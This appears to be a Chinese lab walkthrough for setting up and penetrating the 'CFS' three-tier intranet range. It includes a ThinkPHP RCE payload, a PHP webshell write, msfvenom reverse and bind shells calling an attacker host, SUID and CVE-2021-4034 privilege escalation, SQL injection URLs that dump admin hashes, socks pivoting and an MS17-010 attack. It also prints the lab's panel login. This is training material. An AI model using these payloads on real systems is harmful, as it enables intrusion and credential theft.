zl程序教程

您现在的位置是:首页 >  Javascript

当前栏目

CFS 三层内网环境搭建及渗透

2023-04-18 14:23:17 时间

0x00 cfs三层内网基本环境介绍及配置

hacker主机能ping通centos,centos能ping通unbuntun,,unbtun能ping通win7,内网centos,unbuntu有两张网卡,在vmare通过虚拟网络编辑器新建三张网卡,关闭dhcp服务,一定要注意取消将主机虚拟适配器连接到此网络,新增加网络适配器,选择对应的网卡

新建网卡 vmare2,vmare3

centos网卡选择 vamre2 vmare8(nat)

手动配置ip 192.168.10.20

cd /etc/sysconfig/network-scripts/
cp ifcfg-ens33 ifcfg-ens37

需要改的地方

BOOTPROTO=static                   换成静态           
HWADDR                             mac地址删掉 
DNS1,GATEWAY                      dns,网关不需要
IPADDR=192.168.10.10              ip地址
DEVICE=ens37                      设备名改成ens37,ifconfig后的网卡名 
NETAMSK=255.255.255.0             加网关

配置好的图:

systemctl restart network     #重启网络,可能会失败,但ifconfig后只要有ip即可

配置成功

ubuntu网卡选择 vmare 2 vmare3

手动配置ip 192.168.10.30 192.168.20.10

vim /etc/network/interfaces
#添加以下内容
auto eth33
iface eth33 inet static
address 192.168.10.20
netmask 255.255.255.0
auto eth38
iface eth38 inet static
address 192.168.20.10
netmask 255.255.255.0
#重启网络
systemctl restart networking

win7 网卡选择vmare3

手动配置ip 192.168.20.20

centos的宝塔面版配一下

http://192.168.85.143:8888/a768f109/
用户名: eaj3yhsl
密码: 41bb8fee

测试环境是否配置成功

kali

centos

0x01攻击centos

1.扫描网段,发现存活ip 192.168.85.143

nmap 192.168.85.0/24

2.访问网站:192.168.85.143

看到这首现想到thinkphp v5的漏洞,搜索相关exp

3.payload: 执行whoami命令

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

4.方法一:

尝试写一句话木马

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST[1])?>' > 2.php

访问一下是否写入成功,post传入1=phpinfo();

php是7版本的,有些菜刀可能不支持,使用蚁剑连接

上传msf木马进行获取meterpreter

 #生成木马时需要看操作系统和操作系统位数
msfvenom -p linux/x64/meterpreter/reverse_tcp  lhost=192.168.85.129 lport=4444 -f elf -o 1.elf
#使用蚁剑上传木马,给予执行权限,并运行
chmod u+x 1.elf
./1.elf
#启动msf ,开启监听,监听端口默认4444,和生成的木马端口不同时,需要修改成生成的木马端口
msfconsole
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.85.129
run

成功返回

4.方法二:

msf直接搜索thinkphp相关漏洞

search thinkphp
use 0
set lhost 192.168.85.129
set lport 4455
set rhosts 192.168.85.143
set rport 80
run

成功返回:

5.提权:

上传漏洞linux-exploit-suggeter探测脚本,说是有脏牛(cve2016-5195),失败,sudo(cve2021-3156)

内核失败

下一个尝试suid提权

手动探测:

python -c "import pty;pty.spawn('/bin/bash')"  #进入交互式shell
#手动探测
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

发现find

利用find提权:

find docw -exec /bin/bash -p ;

成功提权:

0x02 攻击ubuntu

在已经取得了centos的权限时,进行信息搜集,发现192.168.10.0网段,因为没有路由,kali(攻击机)是无法访问192.168.10.0网段的,如果只是msf用的话只需要添加路由即可,但是如果想用其他工具,比如说nmap,就需要进行设置代理了

1.添加路由

run post/multi/manage/autoroute

msf是充当代理服务器

利用全局代理工具将流量转发至centos,centos在转发给内网192.168.10.0网段的其他主机

Linux全局代理工具: proxychains

Windows全局代理工具: scokscap64,proxifier

socks代理隧道是不能通过icmp流量的

2.配置本地全局代理设置,默认是scoks4,本地的端口9050,注意用socks4很不稳定,很容易掉线

代理设置在最后面

vim /etc/proxychains4.conf

改成

scoks5 127.0.0.1 9050

3.开启代理服务器

background
use auxiliary/server/socks_proxy
set srvport 9050
set version 5              #scoks 4要设置为4a
run

3.信息搜集

因为知道是一个网站所以只扫了80

proxychains nmap -sT -T4 192.168.10.0/24-p80

从图上可以看出192.168.10.30是存活的开放了80端口,其他主机虽然说是存活的,但是服务都关闭了,所以应该是没有存活的

在使用各种工具时,加上proxychains就是代表流量经过这里转发

4.访问网站

proxychains firefox http://192.168.10.30

发现cms但是没找到相关漏洞,只是说有sql注入

发现信息提示

5.sql注入

index.php?r=vul&keyword=1' andupdatexml(1,concat(0x7e,(select database()),0x7e),1)-- +

得到数据库名:bagecms

index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27bagecms%27),0x7e),1)--%20+
/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27bagecms%27%20limit%202,1),0x7e),1)--%20+
/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27bagecms%27%20limit%203,1),0x7e),1)--%20+

得到的表名:bage_ad,bage_admin, bage_admin_group,bage_admin_logger

/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27bagecms%27%20and%20table_name=%27bage_admin%27%20%20limit%201,1),0x7e),1)--%20+
/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27bagecms%27%20and%20table_name=%27bage_admin%27%20%20limit%202,1),0x7e),1)--%20+

等到字段名:username,password

/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20username%20from%20bagecms.bage_admin%20limit%200,1),0x7e),1)--%20+
/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20bagecms.bage_admin%20limit%200,1),0x7e),1)--%20+
username :admin
password : 46f94c8de14fb36680850768ff1b7f2
密码解密 : 123qwe

6.扫目录,找后台

http://192.168.10.30/robots.txt

后台登录地址

http://192.168.10.30/ index.php?r=admini/public/login

7.改源码连一户话木马

8.蚁剑设置代理

9.msf生成木马,上线

 uname -a   #生成64位的木马

为什么生成正向连接的木马,因为对方不能和我们建立连接,而我们可以通过socks代理的隧道和对方进行通信

msfvenom -p linux/x64/meterpreter/bind_tcp lport=4455 -f elf -o 2.elf
proxychains msfconsole    #或在添加了路由的那个msf中,就不需要启动了msfconsole
set payload  linux/x64/meterpreter/bind_tcp
set lport 4455
set rhost 192.168.10.30
run

10.用蚁剑上传漏洞探测脚本,进行提权

发现cve-2021-3156,尝试使用exp进行提权

发现报错,大概率存在,在看一下版本

版本存在:

sudo: 1.8.2 - 1.8.31p2

sudo: 1.9.0 - 1.9.5p1

提权失败

尝试进行下一个Polkit(CVE-2021-4034),可能存在

进行编译运行

git clone https://github.com/berdav/CVE-2021-4034.git  #不能下载时,就自己复制链接下载,在传到目标靶机
cd CVE-2021-4034/                                     
make                  #编译                         
./cve-2021-4034       #运行

提权成功:

0x03 攻击win7

1.在ubuntu msf上线后添加路由

run post/multi/manage/autoroute

2.配置本地全局代理设置,默认是scoks4,本地的端口9050,注意用socks4很不稳定,很容易掉线

代理设置在最后面

vim /etc/proxychains4.conf

改成

scoks5 127.0.0.1 1080

这里应该也是可以访问192.168.10.30,不是直接到socks服务器上的,需要经过第一台的socks代理服务器(192.168.85.0网段到192.168.10.0网段的隧道),这样配完了就是一个逻辑上长的socks的隧道,因为访问192.168.20.20经过192.168.10.30的隧道。socks服务器是msf充当的,proxychains和sockscap只是全局代理工具

当代理端口为1080:

但代理端口为9050:

3.开启代理服务器

这里的socks4,还是socks5,代理一直掉线,不稳定

background
use auxiliary/server/socks_proxy
set srvport 1080
set version 5              #scoks 4要设置为4a
run

4.信息搜集

proxychains nmap -sT -T4 192.168.20.15-20 -p80,445,3389,3306

发现存活ip,并开放了445,试一下ms17-010(永恒之蓝)

5.使用msf使用ms17-010进行攻击

proxychains msfconsole  
search ms17-010
use 1
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.20.20
set rhosts 192.168.20.20
run

上线msf并成功提权

参考文章:

CFS三层内网环境 渗透流程_baynk的博客-CSDN博客

CFS三层内网靶场渗透记录【详细指南】 - FreeBuf网络安全行业门户